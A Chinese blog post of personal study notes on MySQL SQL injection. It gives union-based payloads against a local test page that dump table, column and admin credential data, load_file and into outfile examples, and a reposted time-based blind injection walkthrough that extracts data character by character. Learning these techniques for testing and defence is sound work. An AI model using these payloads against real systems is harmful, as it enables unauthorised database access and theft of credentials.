mysql注入篇

博客這個東西真的很考驗耐心,每寫一篇筆記,都是在艱難的決定中施行的,畢竟誰都有懶惰的一面,就像這個,mysql注入篇,拖拖拖一直拖到現在才開始總結,因為這個實在是太多太雜了,細細的總結一篇太燒腦。

由於我沒有找見php的實戰本地源碼,所以只好用一些漏洞平台的源碼來演示了,演示不了的,只能列代碼,沒有實操圖。畢竟找不見源碼,,沒法。。。

首先我們都知道mysql資料庫和Access資料庫的不同,不同在mysql是分多個資料庫名的。

就像像我上圖貼的這個格式一樣,原諒我是在是沒有本地源碼,連資料庫的都沒有,所以,貼不開實際圖。

在mysql注入中,我們不細談mysql其他的技巧類,只講注入,說到這裡,這個資料庫可以分為兩個部分,一個是5.0以上,一個是5.0以下。因為在5.0以上的版本中,會存在一個類似虛擬的information_schema這個資料庫,裡面匯總了該大資料庫下,所有的數據,也就是說是在其他資料庫A,資料庫B以內的數據,都可以在這裡找見,而5.0以下的,就只能和Access資料庫一樣靠猜解庫名,表名,列名。

現在來介紹幾個在滲透測試中常用的幾個函數和表庫名。

資料庫名:database()

資料庫版本: version()

資料庫用戶: user()

操作系統: @@version_compile_os

系統用戶名: system_user()

當前用戶名: current_user

連接資料庫的用戶名:session_user()

讀取資料庫路徑:@@datadir

MYSQL安裝路徑:@@basedir

load_file 轉成16進位或者10進位 MYSQL讀取本地文件函數

into outfile 寫入函數

儲存所有表名信息的表 :information_schema.tables

表名 : table_name

資料庫名: table_schema

列名 : column_name

儲存所有列名信息的表 :information_schema.columns

好了下面就開始記錄我構造的語句了,這裡先說一點,我會總結的很細,但是我不會在這篇文章里總結一些注入繞過的技巧,只會總結一些注入得庫,表,列的語句。mysql注入可分為很多中注入方法,從普通注入,報錯注入,再到盲注,還有一些奇葩的注入點語句,也就是這些。關於大家都知道的post注入,cookie注入,字元串注入,搜索注入,這些注入技巧,我會專門開一片文章記錄下,因為這些都是技巧性的。

我現在先記錄mysql5.0以上的注入方法,5.0以下的就像我前面的說的一樣,沒有規律可循,全靠蒙,全靠猜,和Access資料庫一樣。首先我需要判斷是否可以注入,然後再判斷欄位數,這兩個步驟和Access資料庫注入一樣,都是 and 1=1 , and 1=2 ,還有 order by 欄位數。剩下的注入庫名,表名,列名,數據才是重點。

http://127.0.0.1/mysql/sql.php?x=1

假如這是一個注入點,我們知道他的欄位數是3,那麼我們的語句就是 :

http://127.0.0.1/mysql/sql.php?x=1 union select 1,2,3

然後直接回車,查看能否爆出數字,這裡和Access的不同是,這裡不需要在後面面加入表名,因為我們也不知道表名是啥,如果是5.0以下的,我們就只能像Access呢個的進行猜了。

假如爆出1,2 ,3 這三個欄位數,那我們就可以注入一些信息了。

http://127.0.0.1/mysql/sql.php?x=1 union select database(),version(),user()

這三個函數,我們分別替代了1,2,3這三個位置,然後就可以得出資料庫名,資料庫版本,資料庫用戶,記住這是當前的資料庫的名字,和用戶。

假如我們得知:

當前資料庫名:sqlin

資料庫版本:5.5.40

當前資料庫用戶:root@localhost

當然我們也可以替換成其他的函數,比如 @datadir 來獲取資料庫路徑, @@version_compile_os 來獲取操作系統,對了說到操作系統,win對大小寫不銘感,但是Linux對大小很銘感,不能出錯的,這個要記住。

下面開始構造獲取當前資料庫下的表名:

http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(table_name),2,3 from

information_schema.tables where table_schema=0x73716C696E20

這個語句的意思就是獲取當前資料庫下所有表名,0x73716C696E20

這個是hex編碼,大家可以用小葵轉換工具來轉換,就是把第一步收集到的當前資料庫名hex編碼一下。當然我們也可以一個一個的來注入出當前資料庫下所有表名,等等,讓我去找找我的筆記本,我翻翻我自己在本子上記錄的。額,找不見了,估計忘學校沒拿了,,我去網上找找貼一段。

http://127.0.0.1/mysql/sql.php?x=1 union select table_name,2,3, from information_schema.SCHEMATA limit 0,1

這個也是可以注入出當前資料庫的表名的,只不過是一個一個的輸出,你知道控制limit後面的數字就可以,比如 0,1 、1,2、2,3 就是這個格式的。

不過我還是喜歡全部爆出來,然後再一個一個去找可能存在賬密的表,所以我就只記錄全部爆出的。

假如我們選中了一個叫 admin 的這個表名,那麼就開始爆出該表名下的列名。

下面開始構造注入當前表名下的列名的語句:

http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(column_name),2,3 from

information_schema.columns where table_name=0x61646D696E

這個就可以爆出所有該表名的下的列名,0x61646D696E 這個是我們剛才選中的 admin 這個表名的hex的轉碼。

這一步下去,我們就得到列名了,假如我們選中了 username ,password 這兩個列名,那麼我就開始爆數據了,這個就很簡單了,

http://127.0.0.1/mysql/sql.php?x=1 union select 1,username,password from admin

這個是不是就出來了,對了還有個方法,就利用一個字數點,就爆出以內全部的列名下的信息。

http://127.0.0.1/mysql/sql.php?x=1 union select 1,group_concat(username,0x5c,password),3 from admin

這個就是利用一個點,出來全部的數據。

這個是最簡單的常規測試的,我在上面的函數里是不是還列出了一個load_file() 這個函數,這個是用來讀取路徑內的內容的,但是必須是絕對路徑,比如: D:mysql123,txt 它只能讀取這樣的絕對路徑的內容。

這是一個例子:

http://127.0.0.1/mysql/sql.php?x=1 union select load_file("D:/mysql/123,txt "),2,3

這個就是一個讀取,root許可權和普通許可權可以有很大區別的,如果是root,你可以讀取全部的,如果不是root ,是普通,你只能讀取普通用戶才能讀的文件。對了,root,,,前面還有一個函數,我得說說 into outfile 寫入函數 ,這個必須是root許可權才行的,而且你還得需要知道絕對路徑。

這是一個例子:

http://127.0.0.1/mysql/sql.php?x=1 union select "shiyan",2,3 into outfile "D:/mysql/123,txt"

對了,不知道你們發現了沒有我在地址用了 / 這個,而沒有用 這個,算個小謎題,我不細說了。

到這裡是不是就可以說完了?錯!我盲注語句,還有報錯語句還沒匯總了。。。現在開始匯總。

先構造盲注語句吧,盲注的核心就是靠 if 判斷來注入的,我去。。。我在本地的記事本上構造了半天,才想開一個問題,,,盲注不是幾個簡單的語句就能概括全的,就像上面寫的雖然總結了,但是也只是常用的mysql手工注入,還有很多的其他的等等的。。。算了,我直接貼一個吧,在烏雲上的文章,,一位大神總結的,但是也只是一小部分,還有其他的很多構造語句,他的文章對於理解盲注可以理解下,不過一般這類測試都是直接上sqlmap神器直接跑的,畢竟手工注入也只是因為靈活的特性才一直保留的,可以各種繞,各種測試,所以也是必須得會的。

我要開始貼這個大神總結mysql手工盲注了,(如果大神本人看到了,覺得侵權了,我可以私信我,我會刪的。)

-----------------------------------------------------------------------------------------------------------

mysql手工盲注

作者:474082729@qq.com

盲注的核心是靠 if 判斷來注入

手工盲注之前先複習一下if 判斷等函數

version() 是查看資料庫版本

database() 查看資料庫名

user() 查看當前用戶

length( xxxxx ) 函數是統計字元串的長度

mid(str,1,3) 字元串截取

從位元組1開始截 截到3就結束

知乎專欄

ORD() 轉換成ascii碼

ascii碼對照表 ASCII碼對照表

IF 語法:

if (條件,True,False);

開始手工盲注

select * from admin where user = "admin" and sleep(2); 執行需要2秒

1.獲取資料庫名長度

database() 查看資料庫名

## ( select length(database() ) )

查詢資料庫名長度

select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );

如果資料庫的長度等於2的話那麼就執行true 否則就執行False

最後變成了 sleep(0)

如果資料庫長度等於 7 的話 就執行true

最後變成了 sleep(5)

也就是select * from admin where user = "admin」 and sleep(5)

最後得知資料庫長度是 7 那麼接下來就是獲取資料庫名了

2.獲取資料庫名

資料庫長度是 7

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = "a" ) , 5,0 ) );

執行執行False 說明 第一個位元組不是a

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = "x" ) , 5,0 ) );

執行執行true 執行了5秒 說明第一個位元組是x

然後慢慢注入到7。。。。。。

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = "x") , 5,0 ) );

select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = "i" ) , 5,0 ) );

select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = "n") , 5,0 ) );

select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = "d") , 5,0 ) );

select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = "o") , 5,0 ) );

select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = "n") , 5,0 ) );

select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = "g") , 5,0 ) );

第一個位元組是x

第二個位元組是i

第三個位元組是n

第四個位元組是d

第五個位元組是o

第六個位元組是n

第七個位元組是g

全都是執行 5秒 然後得知 資料庫是 xindong

當然了 這方法注入比較慢 比如有些資料庫是特殊符號呢?那怎麼辦?一個一個符號猜解嗎?

採用ORD函數進行ascii碼來判斷會快點

比如:

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );

條件:大於200 執行false 說明 不大於

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );

條件:大於100 執行true 說明大於

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );

條件:大於120 執行false 說明不大於

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );

條件:大於110 執行true 說明大於

說明資料庫第一個位元組的ascii碼大於110小於120

說明是110~120之間

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );

等於 120 執行true 說明第一個位元組的ascii碼是120

最後解碼得出是 x

3.獲取表名長度

select * from admin where user = "admin" and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

位元組等於 5 執行true

說明表名長度為5

4.獲取表名

獲取第1個位元組

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))="a" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是a

獲取第2個位元組

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))="d" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是d

獲取第3個位元組

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))="m" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是m

獲取第4個位元組

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))="i" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是i

獲取第5個位元組

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))="n" ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

請求時間為5秒 說明是n

5.獲取表名的第一個欄位長度

表名是:admin 16進位:61646d696e

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

請求時間5秒 說明第一個子段有4個位元組

6.獲取表名的第一個欄位名

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= "u",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= "s",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= "e",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= "r",5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

爆出第一個欄位是 user

然後第一個欄位判斷可能是用戶名 還少來個密碼欄位那麼就在 5.獲取表名的第一個欄位長度 把limit 1,1 獲取下一個欄位長度再進行獲取密碼欄位

7.獲取資料庫內容

7.1 先猜第一個欄位的資料庫的長度

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;

執行5秒 說明這個欄位的數據內容位元組長度是5

那麼就是獲取數據了

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,1,1) = "a" , 5,0) ) from admin limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,2,1) = "d" , 5,0) ) from admin limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,3,1) = "m" , 5,0) ) from admin limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,4,1) = "i" , 5,0) ) from admin limit 0,1;

select * from admin where user = "admin" and 1=2 union select 1,sleep( if (mid(user,5,1) = "n" , 5,0) ) from admin limit 0,1;

然後用戶名就是 admin 了

終於貼完了,,,,,這些基本上就可以了解到手工盲注的原理和構造了,當然如果還想繼續深入的話,可以去百度吧,,,去搜索吧。。。畢竟這些只是一些皮毛。

下面開始說其他的報錯注入了,,,這個我研究了好久,後來一過年,我又忘的差不多了。。。。好多種報錯方式注入,,這個我自己是真的只能找資料匯總到一塊了,我自己是手寫不開的,,都忘的差不多了。。。。

都是超鏈接,自己想深入的可以再去找找資料。

十種MySQL報錯注入

根據mysql報錯進行回顯注入的原理是什麼?

MySQL暴錯注入方法整理

Mysql報錯注入原理分析(count()、rand()、group by)

MySQL注入總結&MySQL暴錯注入方法整理

經典的MySQL Duplicate entry報錯注入

好了,這些就差不多了,都是我看過的,雖說還是不太精通,,,畢竟這個在ctf中才會出現的題。。。。。

總結下吧,沒有源碼,無法演示,上面說的我用攻防平台吧,後來想了想,我還準備專門開帖子,記錄我打本地攻防平台的帖子,提前上的話,感覺我就沒動力記錄的了。這個文章,正如上面說的,很多技巧都沒記錄,純粹的簡單的記錄了下,畢竟我想把技巧性的再匯總到一個帖子里。

每記錄一下,都是對自己知識的複習,就像人家搞培訓的,多講講就不會忘,我是自己多寫寫多匯總匯總,就算忘了,我自己翻看我自己的記錄也會很快想起來的。


推薦閱讀:

phxsql如何編譯?

TAG:SQL | SQL注入 | MySQL |